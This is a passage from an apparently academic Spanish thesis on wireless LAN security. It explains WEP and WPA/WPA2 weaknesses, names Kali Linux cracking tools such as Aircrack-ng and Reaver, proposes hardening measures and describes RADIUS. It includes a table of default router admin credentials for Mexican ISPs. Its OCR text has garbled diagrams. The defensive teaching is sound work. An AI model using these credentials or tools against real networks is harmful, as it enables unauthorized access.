Los métodos basicos para cifrar datos son: cifrado de flujo y cifrado de bloque, donde en el
primer método los datos se cifran un byte a la vez y el texto cifrado de salida es de la misma
longitud que el texto plano de entrada. En el cifrado de blogue el algoritmo de cifrado funciona
en bloques de datos de longitud fija. Por ejemplo: si un algoritmo de cifrado trabaja en bloques
de datos de longitud de 32 bytes, un mensaje de texto plano de 128 bytes se dividird en cuatro
bloques Unicos de texto cifrado. Cabe mencionar que RC4 es un esquema de cifrado de flujo.
En la figura 1.10 se ejemplifican estos dos métodos de cifrado.

cifrado de bloques

128 k
R 32K 32K 32K 32K
duastl‘::r?oe D_Encriptacién texto cifrado texto cifrado

cifrado de flujo

datos de usuarios z =
o cilrados [> Encriptacién DBALPSMYATIIWL5QZYEFWB

Figura 1.10. Cifrado de flujo y cifrado por bloques (diagrama propio).
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1.3.1.2.1 Proceso de cifrado de las tramas WEP

Las tramas a cifrar se componen basicamente de una cabecera (header) y un contenido
(payload). Primero se debe calcular el CRC del payload con lo que se obtiene el valor de
comprobacion de integridad (ICV: Integrity Check Value) el cual se afiade al final de la trama,
posteriormente se selecciona una llave de 40 bits de cuatro posibles, que se genera de manera
automatica o introducida manualmente, a partir de una clave, dicha clave debe ser conocida por
todos los usuarios por lo que se emplean claves muy sencillas y poco cambiantes. A partir de

esta clave se generan 4 llaves de 40 bits.

Después de la llave seleccionada se suma el Vector de Inicializacion (V) al comienzo de la
llave, el 1V se envia en el paquete sin cifrar. Este vector es tan solo un contador el cual cambia
su valor de acuerdo con la generacion de tramas de tal forma que, al ser afiadio el IV a la llave
de 40 bits, se aumenta el nimero de llaves posibles a emplear [20, 21, 22]. El proceso completo

se puede apreciar en la figura 1.11.

Llave 1 .
Seleccién de

llave

Llave 2
» Llave
Llave 3
Se afiade el IV

Llave 4 IV-24 Llave - 40

Figura 1.11. Vector de inicializacion (diagrama propio)

1.3.1.3 Vulnerabilidades de WEP

WEP no fue creado por expertos en seguridad por lo que se demostrd que es vulnerable en el
algoritmo de encriptacion dado que tiene debilidades de no variacion, esta vulnerabilidad se
basa en el hecho de que, para ciertos valores de clave, es posible que los bits en los bytes iniciales
del flujo de clave dependan de tan s6lo unos pocos bits de la clave de encriptacion, donde ciertos
IV muestran claves débiles. Esta vulnerabilidad fue aprovechada por herramientas de seguridad

como AirSnort para descubrir las claves WEP por lo que en la actualidad WEP es obsoleto [23].

En el 2001, WEP fue roto criptograficamente por tres investigadores de seguridad: Scott Fluhrer,

Itsik Mantin y Adi Shamir. El ataque que vulner6 a WEP es comUnmente conocido como el
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ataque FMS. La vulnerabilidad en WEP se debe a que el vector de inicializacion de 24 bits es

demasiado corto puesto que genera sélo 224 llaves posibles a emplear.

El ataque FMS permite a un atacante descubrir la clave WEP al capturar pasivamente paquetes
cifrados, con una tasa de éxito del 50 %. Se deben capturar alrededor de cinco millones de

paquetes cifrados, no obstante, un ataque puede tener éxito con muchisimos menos paquetes.

Este ataque se basa en el modo de operacion de RC4 y sus dos fases KSA y PRGA, la
vulnerabilidad se encuentra en la fase KSA al momento de transmitir los tres primeros bytes de
la trama de un texto plano, ya que generalmente estos son los mismos: OXxAA: 0XxAA: 0x03, a
partir de ello se detectd la relacion que existe entre los IV que conforman la entrada al algoritmo
KSA vy la clave maestra de cifrado. Estos IV reflejan la informacion de dicha clave y se les dio
el nombre de 1V débiles los cuales tiene la forma A + 3, 255, X. Donde “A” es el indice del

primer byte de la clave maestra, “X” es un valor cualquiera.

En 2004 el ataque de Korek fue introducido el cual se basa en el ataqgue FMS debido a que este
se expande en los calculos matematicos del ataque FMS, con el fin de que el ataque sea mucho

mas rapido y eficaz.

No obstante, en 2007 un nuevo estilo de ataque fue introducido por los investigadores Pyshkin,
Tew y Weinman, el ataque es comunmente conocido como el ataque PTW refiriéndose a los
apellidos de los investigadores que lo introducen. Este ataque sélo necesita de 40,000 paquetes
para una tasa de éxito del 50 por ciento, mucho menos paquetes de los que necesita el ataque
FMS ya que este necesita alrededor de 5 millones de paquetes [20].

En resumen, WEP presenta 3 vulnerabilidades:

> Debilidades en el algoritmo RC4, ya que la debilidad de WEP se centra en la forma de
operacion de RC4 y sus dos mddulos KSA y PRGA lo que permite la desencriptacion
de un paquete y la obtencion de la clave de cifrado.

» Los vectores de inicializacion son muy cortos, lo que provoca que en una red varios
paquetes utilicen el mismo IV, permitiendo un ataque.

> No existe comprobacion de integridad alguna, deteccion de errores y no es

criptograficamente seguro por su linealidad [23].
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1.3.2 Protocolo WPA/WPA2

WPA (Wi-Fi Protected Access) soluciono6 todas las debilidades que presentaba WEP. Este
protocolo se considera seguro ya que una de sus principales caracteristicas es la distribucion

dinamica de claves y la utilizacion de nuevas técnicas de integridad y autenticacion [24].

WPA fue disefiado como reemplazo temporal para WEP mientras se desarrollaba el estandar
IEEE 802.11i (WPAZ2) el cual se extiende mucho mas en las medidas de seguridad. WPA y
WPAZ2 se diferencian poco conceptualmente y difieren principalmente en el algoritmo de cifrado
que emplean, mientras WPA basa el cifrado en el uso del algoritmo RC4 al igual que WEP lo
unico que lo diferencia de WEP es que introduce un protocolo de integridad de llave temporal
conocido como (TKIP, Temporal Key Integrity Protocol), WPA2 utiliza AES (Avanced
Encryptation Standart), un cifrado que es mucho mas robusto y escalable, asi mismo soporta
TKIP.

La segunda diferencia notable se encuentra en el algoritmo MIC (Message Integrity Check),
utilizado para controlar la integridad del mensaje. Mientras que WPA usa una version menos
elaborada para la generacion del codigo MIC, WPA2 implementa una version mejorada de este
cbdigo. A grandes rasgos tanto WPA como WPA2 incrementan el tamafio de las claves y el

namero en uso e introducen un nuevo mensaje de control de integridad mas seguro.

WPA y WPAZ2 utilizan llaves precompartidas con el fin de autentificar, siempre y cuando no se
estén utilizando servidores de autenticacion externos, por lo que estas llaves solo se utilizan para
autenticacion mutua entre el cliente y el AP. Es importante mencionar que la encriptacion no

utiliza la llave precompartida [20].

WPA y WPAZ2 distribuyen dindmicamente las claves, tienen una utilizacion més robusta del
vector de inicializacion lo que mejora la confidencialidad. Por otro lado, cuentan con nuevas

técnicas de integridad y autenticacion.
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Las principales caracteristicas de WPA y WPAZ2 son las siguientes:

> La gestion de llaves de autenticacion puede realizarse usando PSK (Pre-Shared-Key) 0
802.1x, éste es un protocolo que permite la autenticacion por puerto, posee mecanismos
de autenticacion, autorizacion y distribucion de claves. Asi mismo incorpora controles
de acceso mediante un servidor como método de autenticacion, proporciona grandes
ventajas como por ejemplo: mayor seguridad, incrementa la flexibilidad y control de
configuracién de acceso, capacidad de expansion, asi como una administracion
simplificada de las credenciales de acceso.

» Cuando el usuario es autenticado de manera correcta se derivan las llaves para
proporcionar integridad y encriptacion. Estas Ilaves se guardan en el cliente como en el
AP.

> En el caso de WPA, para asegurar la informacion se hace uso de TKIP y MIC

> Se usan diferentes llaves de encriptacion para cada paquete.

1.3.2.1 Autenticacion en WPA/WPA2

En el caso de la autenticacién tanto en WPA como WPA2 se manejan dos opciones para su

implementacién:

Autenticacion en modo personal: se considera el uso de una clave compartida como método de
autenticacion para evitar la instalacion de un servidor de autenticacion, este método de

autenticacion es usado en entorno SOHO.

Modo Enterprise: estd basado en el uso de un servidor de autenticacion tipicamente RADIUS.
Los componentes principales son el cliente que se une a la red, el autenticador® que proporciona
control de acceso y el servidor de autenticacion. EI AP divide cada puerto virtual en dos puertos
I6gicos, uno para el servicio y el otro para la autenticacion, lo que constituye el PAE (Port
Access Entity) el cual esta siempre abierto para permitir la ejecucion de tramas de autenticacion
del servidor.

El cliente y el AP se comunican mediante el protocolo de capa 2 EAPoL (Extensible

Authentication Protocol Over LAN), donde el AP convierte los mensajes EAPoL en mensajes

3 El AP sirve como autenticador.
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RADIUS vy los reenvia al servidor RADIUS. El servidor de autenticacion RADIUS recibe y
procesa la solicitud de autenticacion. Una vez que el proceso de autenticacion se completo, el
solicitante y el AP obtienen una clave maestra secreta, MK. A continuacion, se describe el

intercambio de informacion entre los elementos.

El primer paso es cuando se hace el intercambio de una peticion de asociacion inicial entre el

cliente y el APy deciden el uso de una capacidad de seguridad especifica.

El segundo paso se lleva a cabo cuando el servidor y el cliente realizan el proceso de
autenticacion estandar 802.1x y si esta autenticacion es satisfactoria el servidor genera y envia
una llave maestra al AP. El cliente genera esta misma llave, estas llaves son llamadas PMK
(Pairwise Master Key). Posteriormente el cliente y el AP realizan un saludo de cuatro vias
(Handshake) para generar un ambiente de confianza entre el cliente y el AP y por Gltimo se
deriva un MIC y las llaves GTK (Group Transient Key). Para mayor claridad, este proceso se

ejemplifica en la figura 1.12 [25].

COCOOO

cliente servidor de
f | Autenticacion

peticion de asociacién inicial

proceso de autenticacién

handshake de cuatro vias

Figura 1.12. Proceso de autenticacion WPA /WPAZ2 enterprise (diagrama propio).
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Con la llave PMK se genera una clave de cifrado llamada PTK para cada proceso de
autenticacion para cada cliente (Pairwise Transient Key) la cual se genera basicamente a partir
de dos numeros aleatorios, uno de ellos generado por el cliente y el otro por el AP, mismos que

intercambian para obtener ambos la misma clave PTK. Este proceso se llama saludo de cuatro
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vias 0 4- way-handshake cuyo proceso consta de 4 fases, mismas que se describen a detalle a

continuacion [16].

Primera fase: una llave maestra en pares (PMK) de 256 bits es independientemente establecida
por ambas partes, la cual se genera a partir de la Ilave PSK y el SSID (Service Set Identifier) de

la red. Entonces el AP envia al cliente un niimero al azar, denominado A-Nonce.

En la segunda fase: el cliente envia un nimero S-Nonce aleatorio al AP, méas un codigo de
integridad de mensaje denominado MIC. Por otra parte, el cliente se encarga de calcular una
clave transitoria de pares PTK, la cual es utilizada para cifrar el trafico. Cabe mencionar que la
clave PTK se deriva de la clave PMK, el A-Nonce, el S-Nonce y las direcciones MAC del cliente
y del AP.

Tercera fase: se da cuando el AP calcula su propia clave PTK, posteriormente envia al cliente
un MIC maés un grupo temporal de llaves GTK, estas llaves son utilizadas para descifrar trafico

multicast y broadcast.

En la cuarta fase: el cliente envia un acuse de recibido al AP. En la figura 1.13 se muestra

graficamente el proceso de autenticacion (handshake de cuatro vias) [26].

estacion ‘

A-Nonce

estacion
construyendo
B la PTKE

S-Nonce + MIC

AP
- construye la
2 PTK ;

GTK + MIC

ACK

Figural.13. Handshake de cuatro vias para WPA/WPA2 (diagrama propio).
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Cuando el cliente ya se ha autenticado, el protocolo TKIP utiliza 6 claves de cifrado por cada
sesion, 4 de estas claves son utilizadas para comunicaciones unicast y 2 para comunicaciones
multicast. Estas claves son Unicas por cliente y por sesion ademas de ser cambiadas
periddicamente, dichas claves son generadas a partir de las direcciones MAC, el SSID y la
clave PTK.

1.3.2.2 Cifrado WPA

WPA basa el cifrado en el algoritmo TKIP que, al igual que WEP, esta basado en RC4. A
diferencia de éste WPA utiliza un vector de inicializacion de 48 bits y una clave de cifrado de
128 bits, asi como el protocolo de integridad de clave temporal (TKIP) con el cual la clave de

cifrado cambiara cada vez que un paquete se transmita.

TKIP genera un blogue de 4 bytes a partir de la direccion MAC de origen, MAC de destino, de
datos y el MIC para calcular la unidad de datos a enviar. Los datos que incluyen al MIC son
fragmentados y se les asigna un numero de secuencia. Por lo tanto, la mezcla del nimero de
secuencia con la clave temporal genera la clave que sera utilizada para el cifrado de cada

fragmento.

1.3.2.3 Cifrado WPA2

El cifrado para WPAZ2 se realiza mediante el algoritmo AES (Advanced Encryptation Standard),
el cual es un tipo de cifrado de clave simétrica. WPAZ2 utiliza grupos de bits de longitud fija
(blogques), un cifrado de clave simétrica y utiliza la misma clave tanto para la encriptacion como
para la desencriptacion. En la implementacion AES los bits se cifran en blogues de texto plano
usando una longitud de clave de 128 bits que se calculan independientemente.

AES utiliza el protocolo CCMP (Counter-Mode/ CBC-MAC Protocol) y CCM (Counter with
CBC-MAC). Este es un nuevo modo de operacion para un cifrado de blogues que permite usar
una sola clave tanto para el cifrado como para la autenticacion (con diferentes vectores de
inicializacion).

CBC-MAC se utiliza para generar un componente de autenticacion como resultado del proceso
de cifrado [27].
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En la figura 1.14 se ejemplifica el algoritmo AES, asi como los algoritmos con los que se auxilia

para poder generar el cifrado.

Figura 1.14. Algoritmo AES (diagrama propio).

1.3.2.4 Vulnerabilidades de WPA /WPA2

Si un usuario malicioso quiere atacar una red WPA-PSK va a tratar de capturar el intercambio
de nimeros aleatorios, el SSID vy las direcciones MAC tanto del cliente como del AP. Una vez
teniendo esta informacion, el atacante puede obtener la desencriptacion de la clave para poder

conectarse a la red [16, 22].
Algunas vulnerabilidades que estan asociadas al protocolo WPA son las siguientes [20]:

» WPA confia en la encriptacion RC4 la cual no es una de las opciones mas confiables.
> Fisuracién WPA-PSK, esta vulnerabilidad permite forzar el PSK para obtener la llave
compartida WPA, debido a que un atacante puede ver el valor nonce no cifrado enviado

al cliente.

> Es susceptible a ataques pasivos por el falseamiento (Spoofing) de autenticacion WPA,
vulnerabilidad que forza a un usuario a desautenticarse para romper la sesion WPA PSK,
dando paso a una denegacion de servicios (DoS — Denial of Service).

> Es susceptible a ataques de fuerza bruta al tener activado el WI-FI Protected Setup
(WPS), la vulnerabilidad se encuentra en el PIN, al dividirse en dos PIN separados de

cuatro digitos ya que reduce considerablemente el tiempo de la obtencion de la clave.
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Se han revisado los protocolos de seguridad que se pueden implementar en una red inalambrica
de &rea local, pero ¢qué tan seguras son estas autenticaciones? ¢, Se podrd romper esta seguridad?
Para contestar estas preguntas es necesario realizar pruebas de penetracion* en un entorno

controlado.

1.4 Herramientas para la revision de seguridad en una WLAN

Para identificar las posibles vulnerabilidades existentes en una WLAN es necesario realizar una
revision de la seguridad en dicha red a evaluar, para ello propongo utilizar herramientas que

operan en sistemas operativos basados en Linux.

Algunos ejemplos de distribuciones para sistemas operativos basados en Linux que contienen
dichas herramientas son: Back Box, Parrot Security, DEFT, NTS, Wifilax y Kali Linux. A
continuacion, en los siguientes parrafos se hace una breve descripcion de las caracteristicas de

estas distribuciones mencionadas.

BackBox: esta distribucion estd basada en Ubuntu y fue desarrollada para realizar pruebas de
hacking ético, de penetracion de sistemas y redes, asi como auditar seguridad, esta distribucion
es ligera y funciona en sistemas de hardware poco potentes.

Parrot Security OS: es un sistema operativo basado en Debian, es una mezcla de Frozenbox OS
y Kali Linux por lo que utiliza los repositorios oficiales de Kali Linux. Con esta distribucion se
pueden realizar pruebas de penetracion, auditar redes y cuenta con herramientas para hacking

ético.

Digital Evidence & Forensics Toolkit (DEFT): esta basado en Ubuntu ofrece herramientas
forenses creadas por los propios usuarios y compafiias para su propio uso, con esta distribucion

se pueden realizar auditorias de seguridad.

Network Security Toolkit (NST) basada en Fedora, esta distribucion cuenta con herramientas

de andlisis de seguridad de redes, programas de validacion y monitoreo, que puede ser utilizado

4 Una prueba de penetracion se refiere a un ataque de prueba que puede sufrir un sistema informatico, red o
aplicacion web cuya finalidad es encontrar vulnerabilidades que un atacante podria explotar.
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en servidores virtuales. NST tiene una interfaz de usuario web (WUI) lo que permite configurar

las aplicaciones de seguridad y redes.

Wifilax es una distribucién GNU/Linux disefiada para auditorias de seguridad y relacionada con
la seguridad informética en general, incluye herramientas de seguridad y auditorias de seguridad
como escaner de puertos, creacion y disefio de exploits, sniffers, herramientas de analisis

forenses, entre otras.

Kali Linux es denominada como una distribucién de seguridad por excelencia, ya que contiene
cientos de herramientas que permiten llevar a cabo tareas dentro del marco de pruebas de
penetracion y auditoria. El &mbito concreto de dicha distribucion es la seguridad informatica
por lo que el analisis forense, el intento de intrusién no autorizada (gathering), la explotacion

de vulnerabilidades, entre otras se encuentran en Kali Linux.

Para identificar las vulnerabilidades en la presente tesis se utiliza la distribucién Kali Linux
version 2017.1 principalmente por la coleccién de herramientas que proporciona, cabe
mencionar que exclusivamente se utilizaran algunas de las herramientas para ataques

inaldmbricos de la Suite AIR.

1.4.1 KaliLinux

Kali Linux es una distribucién de auditorias de seguridad y pruebas de penetracién, construida
en base a Debian Linux, esta distribucion reemplaz6 a Bactrack Linux y fue completamente
reconstruida, incluye una amplia gama de herramientas para la recoleccion de informacion,
sniffing y spoofing, evaluacion de vulnerabilidades, cracking de contrasefias, explotacion,
ingenieria inversa, investigacion forense, entre otras. Las pruebas de penetracion inalambricas
son procesos que consisten en la simulacion de ataques contra una red con el fin de indicar
debilidades o vulnerabilidades de seguridad, las cuales podrian ser utilizadas o aprovechadas

por atacantes reales para tener acceso a la red.

Con este tipo de pruebas de penetracion de forma practica se pretenden explotar las
vulnerabilidades mediante la realizacion de un ataque. Dichas pruebas de penetracion pueden
ser externas o internas, sera externa cuando se intenta simular un ataque externo real sin que los

que estan realizando estas pruebas posean informacion previa sobre las redes de destino. Sin

46



embargo, en las pruebas de penetracion interna, la informacion sobre las vulnerabilidades que
existen en la red se les proporciona a los auditores para que puedan explotar al méaximo las

vulnerabilidades existentes.

1.4.1.1 Herramientas especificas de Kali Linux para atacar a una

WLAN

Kali Linux cuenta con herramientas para las pruebas de penetracion inalambrica donde existe
un conjunto llamado meta paquete inalambrico Kali-Linux-Wireless con las herramientas de
cbdigo abierto mas conocidas como: la suite Aircrack-ng, Kismet, Fern Wifi Cracker, Wifite,

Reaver entre otros.

Existen otras herramientas que no son propias de Kali Linux las cuales pueden ser instaladas en
la distribucion, una de estas es Wifiphisher. Esta herramienta basicamente engafia a los usuarios

creando un punto de acceso falso para obtener su contrasefia.

Cabe mencionar que la Suite AIR es el conjunto mas completo y popular de herramientas para

auditorfa a redes inaldambricas en Kali Linux.

1.4.1.2 Suite AIR

La Suite AIR contiene una gran variedad de herramientas con el prefijo air algunas de estas
herramientas son airmon, aircrack, airodump, aireplay, airdecap, airbase, entre otras. Dichas
herramientas permiten cambiar el modo de trabajo de la tarjeta inalambrica, inyectar paquetes,
desautenticar clientes, descifrar trafico, entre otras funciones. En la tabla 1.2 se describen
algunas de las herramientas mas populares para auditorias de seguridad de una WLAN de la
Suite AIR [16, 26].
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Herramienta Funcién

Airmon-ng Cambia el modo de trabajo de la tarjeta inalambrica al pasarlo a modo monitor.

Airodump-ng | Captura todo lo que circula en el aire independientemente del cifrado o red. En las redes
abiertas se puede visualizar el trafico y se puede capturar informacién sensible que viaja o
circula por el medio de transmision (en el aire).

Aireplay-ng Realiza los ataques tanto a los AP como a los clientes asociados a dicho AP.

Aircrack-ng | Realiza ataques de fuerza bruta de diccionario o estadisticos a capturas de trafico inaldmbrico.
En funcion del tipo de cifrado de la red victima se realiza un tipo de ataque u otro.

Tabla 1.2. Algunas herramientas para auditorias de seguridad de Kali Linux.

En el anexo A se detalla el funcionamiento de estas herramientas.

1.5 Opciones para robustecer la seguridad en la WLAN

Las redes inalambricas se han vuelto un punto muy atractivo para un gran nimero de atacantes:
muchos usuarios del mundo de la informatica han intentado llevar a cabo un ataque sobre todo
a redes inalambricas. Un ejemplo muy claro sobre este tipo de ataques es cuando un usuario
intenta obtener la contrasefia de una WLAN para poder obtener acceso a internet, siendo este el

ataque mas sencillo.

Un atacante se vuelve peligroso cuando tiene conocimiento del propio ataque, asi como del
funcionamiento de las herramientas que se utilizan para explotar las vulnerabilidades de
seguridad. Por dicho motivo es necesario dificultar la labor del atacante al robustecer la

seguridad en una WLAN mediante la implementacion de hardening.

1.5.1 Hardening

Hardening es un conjunto de actividades para robustecer la seguridad, cuyo objetivo es proteger
laredy estropear el trabajo del atacante. EI hardening defiende el sistema y gana a su vez tiempo
para poder minimizar las consecuencias de un ataque o incluso evitarlo en su totalidad. Este
robustecimiento se logra mediante la proteccion en varias capas, lo que significa que puede
protegerse a nivel host, nivel de aplicacion, nivel de sistema operativo, nivel de usuario y nivel
fisico; donde cada nivel necesita un método Unico de seguridad. En este trabajo solo se protegera

a nivel host y a nivel usuario.
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La eliminacién de servicios innecesarios, el cierre de puertos que no estén en uso, la eliminacién

de usuarios, etc., son una buena actividad para fortalecer la red.

De acuerdo con el estudio realizado anteriormente sobre las vulnerabilidades en una WLAN, se
toman las vulnerabilidades encontradas para implementar hardening. Se le puede brindar mayor
seguridad a una WLAN al robustecer algunas funciones de manera individual en el AP. A pesar
de que hardening es un método con el cual se pueden implementar multiples estrategias, su
aplicacion debe ser personalizada. A continuacion, se enlistan en la tabla 1.3 las actividades para
la implementacion de hardening en una WLAN.

Actividades de hardening Tipo de configuracion
Servidor de autenticacion ~~ Configuracién externra
Desactivacion del WPS Configuracidn interna
Creacion de contrasefias seguras Configuracion interna
Cambio de contrasefias periédicamente Configuracién interna
Desactivacion de la difusion SSID Configuracién interna
Filtrado MAC Configuracion interna
Gestion del AP Configuracidn interna
Minimizacién de la potencia de AP Configuracion interna
Actualizacion del firmware Configuracién interna
Enmallado al entorno de la zona WI-FI Implementacion externa

Tabla 1.3. Puntos de hardening propuestos.
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1.5.1.1 Actividades de hardening

En los parrafos siguientes se describen los puntos de hardening mencionados en la tabla 1.3.

Servidor de autenticacion: Debido a las vulnerabilidades que se tienen en una WLAN personal,
es necesario reforzar la autenticacion con una mayor seguridad. Para ello, se migra la
autenticacion enterprise a un entorno SOHO, con el propoésito de proporcionar una mayor
seguridad. En la seccién 1.5.1.2 se describen los diferentes servidores de autenticacion, en este

caso se llevara a cabo la implementacion del servidor RADIUS.

Desactivacion del WPS (WI-FI Protected Setup): Es importante la desactivacion del WPS ya
que con la herramienta reaver es posible atacar una WLAN con este tipo de configuracion. El
WPS permite la conexion de un nuevo dispositivo a la red con el hecho de presionar un boton
en el AP sin necesidad de introducir la contrasefia, o que representa una vulnerabilidad en la
implementacién del estandar WPS la cual podria explotarse para obtener la contrasefia del AP.
Creacion de contrasefias seguras: es de suma importancia la creacion de contrasefias mas seguras
en tamafio y complejidad, con un minimo de ocho caracteres donde debe utilizarse una
combinacion de numeros, letras tanto minusculas como mayusculas, asi como caracteres
especiales con el fin de que éstas no sean descifradas tan facilmente. Esto implica que el atacante

debera crear diccionarios mucho mas complejos para poder atacar las WLAN.

Cambio de contrasefias peridédicamente: es indispensable el cambio de contrasefias

periédicamente para evitar ser victima de algun ataque y evitar robo de informacién.
Casol: se recomienda cambiar la contrasefia WPA/WPA2 cada mes.

Caso 2: se recomienda cambiar las contrasefias en usuarios cada mes y aplica solamente cuando

se cuenta con un servidor de autenticacion.

Configuracion del identificador de conjunto de servicios (SSID) y desactivacion de la difusién
SSID: Este es un identificador comunmente conocido como el nombre de la red, de forma
predeterminada la mayoria de los AP transmiten el SSID y regularmente no es cambiado.
Gracias a esto, los atacantes pueden identificar el AP que desean atacar, lo que crea una
vulnerabilidad. Por dicho motivo debe desactivarse y cambiarse el nombre del SSID de la red

para hacer mas dificil el trabajo a los posibles atacantes.
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La desactivacion de la difusion del SSID aumenta la dificultad de realizar un escaneo pasivo,
por lo que se debe configurar un intervalo de tiempo para anunciar la red (Beacon interval),
estableciéndolo en su méximo valor, dicho intervalo es el tiempo transcurrido antes de que el

AP anuncie el SSID a través de broadcast.

Filtrado MAC: El filtrado MAC es utilizado para restringir el acceso de ciertos dispositivos a
una red inalambrica. Al dar de alta solamente a los equipos que podran asociarse a dicha red,
permite solamente el acceso a las direcciones MAC especificadas. Esta actividad ayuda en el

caso de que el atacante obtenga la contrasefia del AP.

Gestion del AP: Es posible que un atacante se filtre a la red donde esta el AP, por lo que puede

entrar a la configuracion de este y realizar distintas configuraciones o modificaciones.

En el caso particular de México, los AP que ofrece un proveedor de servicios de internet (ISP,
Internet Service Provider) tienen esta vulnerabilidad de gestion al poder acceder facilmente a la
gestion del AP. En la tabla 1.4 se muestra el modelo del AP que ofrecen algunos ISP, el usuario

y la contrasefia por default de éstos.

ISP Direccion IP para acceder al AP Usuario Contrasefia
Telmex 192.168.1.254 TELMEX Contrasefia que viene por default en el AP
1271 192.168.100.1 Admin Password
Total Play 192.168.100.1 Root Admin

Tabla 1.4. Comparativa de acceso a la gestion.

En esta pequefia tabla se puede apreciar la poca seguridad que se tiene en los AP para su gestion,
siendo este un problema ya que los atacantes suelen tener una base de datos con sus respectivos
usuarios y contrasefias. Cabe destacar que la mayoria de los usuarios dejan la configuracion

establecida por el ISP.

Minimizacion de potencia del AP: Es necesario limitar la cobertura de la red inalambrica para
gue no cubra mas del area deseada, para evitar que esta sefial llegue a las antenas que utilizan

los atacantes, asi como evitar que la red sea identificada.

Actualizacion de firmware: es necesario estar actualizando el firmware de cada AP para poder

actualizar los parches de seguridad.
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Enmallado al entorno de la zona WI-FI: para evitar ataques denominados wardrivening, que
consisten en la busqueda y recoleccion de datos de una red inalambrica, donde el atacante esté
siempre en movimiento; el enmallado bloquea el area de tal forma que la sefial no salga del &rea
determinada, asi mismo evita que otras sefiales entren. Esta recomendacion es poco utilizada ya
que su implementacidn es muy costosa, la estructura debe ser como una jaula tipo Faraday.

En la figura 1.15 se muestran las capas de seguridad que se le proporcionarian la WLAN de

entorno SOHO al implementar hardening.

Figura 1.15. Capas de seguridad de hardening (diagrama propio).
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1.5.1.2 Tipos de servidores de autenticacion

Un servidor de autenticacion es un tipo de servidor de red, cuyo objetivo es validar y autenticar
a usuarios remotos o nodos que se conectan a un servicio, dicho servidor garantiza que

solamente los nodos autorizados tengan acceso a los recursos ofrecidos por éste.

Esencialmente existen tres diferentes tipos de tecnologia para sistemas de autenticacion siendo
estos: LDAP, Kerberos y RADIUS. Se describe en seguida cada uno de estos.

El servidor LDAP (Lightweight Directory Access Protocol) esencialmente es un sistema de base
de datos cuya funcion es almacenar informacion sobre diversas entidades de la red. En una red
tipica almacena nombre de usuario, contrasefias asociadas a los nombres de usuarios,
informacidn de configuracion, derechos asociados con los nombres de los usuarios, entre otros.

LDAP es tipicamente el nicleo del sistema de autenticacion.

Kerberos no almacena nada que no sea nombre de usuario, contrasefias y claves utilizados para
identificar los servicios de red LDAP. Este servidor se utiliza para obtener un ticket® para el
nombre de usuario y contrasefia, por lo tanto, LDAP almacena informacion acerca de los

usuarios y kerberos es una forma de autenticar a esos usuarios.

RADIUS (Remote Authentication Dial In User Service) se utiliza para autenticar dispositivos
en el momento en que intentan conectarse a una red privada. Es mas utilizado por los ISP para
garantizar que sélo los clientes puedan conectarse a sus sistemas de acceso telefénico. Es
probable que el AP también admita RADIUS para que los usuarios autorizados se conecten de
forma segura y al mismo tiempo se mantenga fuera a los usuarios que no estén autorizados
[28,29]. Como puede notarse no solo existe un solo servidor de autenticacion, pero para el
presente trabajo se utilizard RADIUS. A continuacion, se describe a detalle el servidor de
autenticacion RADIUS.

5> Un ticket es un conjunto de informacién electrénica que identifica a un usuario o un servicio e indica que
privilegios tienen para acceder a la red.
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1.5.1.3 Servidor RADIUS

RADIUS es un protocolo de red, cuyo sistema define reglas y convenciones para la
comunicacion entre dispositivos de red para usuarios remotos. Este protocolo esencialmente
cumple con tres funciones principales: autenticar usuarios o dispositivos antes de que a éstos se
le permita el acceso a una red, autorizar a los usuarios la utilizacion de algunos servicios de red

especificos, contabilizar y rastrear el uso de dichos servicios.

El protocolo cliente servidor RADIUS tiene diversas ventajas, como por ejemplo: es una
solucion escalable y abierta, de facil modificacion, separa los procesos de seguridad y
comunicacion, es adaptable a la mayoria de los sistemas de seguridad, funciona con cualquier

dispositivo de comunicacion que soporte RADIUS, entre otras.

Por otro lado, RADIUS separa eficazmente los procesos de seguridad que se llevan a cabo en el
servidor de autenticacion de los procesos de comunicacion, lo que permite un Unico
almacenamiento centralizado de informacion para la autorizacién y la autenticacion, lo que
reduce la carga administrativa del control de acceso para un gran nimero de usuarios remotos
[30].

1.5.1.3.1 Funcionamiento de RADIUS

Un servidor RADIUS utiliza una base de datos central para autenticar usuarios remotos.
RADIUS funciona como un protocolo cliente-servidor, autentica a cada usuario con una clave

de cifrado Unica cuando se concede el acceso.

Cuando un cliente esta configurado para utilizar RADIUS, cualquier usuario de este cliente
presentara informacién de autenticacién de inicio de sesion personalizada, donde se espera que
el usuario ingrese tanto su nombre de usuario como la contrasefia. Una vez que el cliente ha
obtenido la informacion deseada se debe realizar la autenticacion donde el cliente creara un
Access- Request el cual contendra el nombre de usuario, la contrasefia, el 1D del cliente y el ID
del puerto en el que se accede cuando una contrasefia esta presente.

La peticion de acceso se envia al servidor RADIUS a través de la red, si no hay una respuesta
en un periodo de tiempo determinado se realiza un reenvio. Una vez que el servidor RADIUS
recibe la contrasefia, valida el envio cliente. Si el cliente es valido, el servidor RADIUS consulta
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una base de datos de usuario cuyo nombre debe coincidir con la solicitud. Para que el usuario
pueda entrar a la red éste debe cumplir una serie de requisitos, que incluye la verificacion de la
contrasefia, asi como la especificacion de los puertos a los que tiene el acceso autorizado dicho
cliente.

El servidor RADIUS puede realizar peticiones de otros servidores para satisfacer la solicitud,
en este caso el servidor actla como cliente. En caso de que algunos de los atributos de estado
proxy® estuvieran presentes en la solicitud de acceso deben ser copiados sin ser modificados y
en orden en el paquete de respuesta, otros atributos pueden colocarse también antes, después o
incluso entre los atributos de estado proxy.

En caso de que no se cumpla ninguna condicion, el servidor RADIUS enviard un mensaje
Access- Reject lo que indica que la solicitud de usuario no es valida. En la figura 1.16 se muestra

el proceso descrito anteriormente del servidor RADIUS.

usuario cliente RADIUS servidor RADIUS

ngreso de nombre y

respuesta de asignacion

Fin del acceso

: |
| | '
| confrasefia de usuario | solicitud de acceso |
| € d
| P solicitud aceptada |
| | " solicitud de as gnacién (inicio) |
| | respuesta de asignacién > |
| <
acceso a la red I
| | solicitud de asignacion (detenida) |
| >
| |
| |
|

Figura 1.16. Operacion del servidor RADIUS (diagrama propio).

Por otro lado, el servidor RADIUS que mayor popularidad tiene es freeRADIUS, el cual es
modular y ofrece escalabilidad en el disefio del protocolo. Estas y otras caracteristicas lo
posicionan por encima de otros servidores de autenticacién. Asi mismo proporciona multiples

beneficios y ventajas las cuales a continuacion se describen.

& Un proxy es un intermediario que procesa solicitudes de clientes.
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1.5.1.3.2 Ventajas y beneficios de freeRADIUS

FreeRADIUS permite mas tipos de autenticacion que cualquier otro tipo de servidor, es el Gnico
